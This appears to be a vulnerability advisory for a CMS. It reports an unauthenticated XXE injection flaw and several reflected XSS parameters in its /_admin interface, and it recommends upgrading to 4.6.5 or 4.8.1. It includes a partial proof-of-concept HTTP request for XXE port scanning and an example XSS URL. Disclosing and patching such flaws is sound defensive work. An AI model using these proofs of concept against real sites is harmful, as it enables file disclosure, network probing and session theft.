The CMS is vulnerable to multiple security vulnerabilities, such as XML eXternal Entities (XXE) injection and Cross-Site Scripting (XSS).
1. XXE Injection:
XXE injection allows a wide range of XML based attacks, including local file disclosure, TCP port scans and a Denial of Service (DoS) condition, which can be achieved by recursive entity injection, attribute blow up and other types of injection. The following resource accessible by an unauthenticated user is vulnerable:

Proof of Concept (port scanning).
POST /_admin/?SQ_ACTION=asset_map_request HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

file]: failed to open stream: HTTP request failed! SSH-

File: [SYSTEM_ROOT]/core/lib/asset_map/asset_map.inc

2. XSS:
Cross-Site Scripting (XSS) may be used to steal session information, etc.

Several resources of the /_admin page are affected including:
am_section parameter, assetid parameter, sq_asset_path parameter, sq_backend_log_type parameter, sq_link_path parameter, asset_ei_screen parameter, current_assetid parameter and tool_reindex_reindexing_root_assetid [assetid] parameter.

Proof of Concept. /_admin/?SQ_BACKEND_PAGE=main&backend_section=am&am_section=ed

Upgrade to version 4.6.5 or 4.8.1 releases.
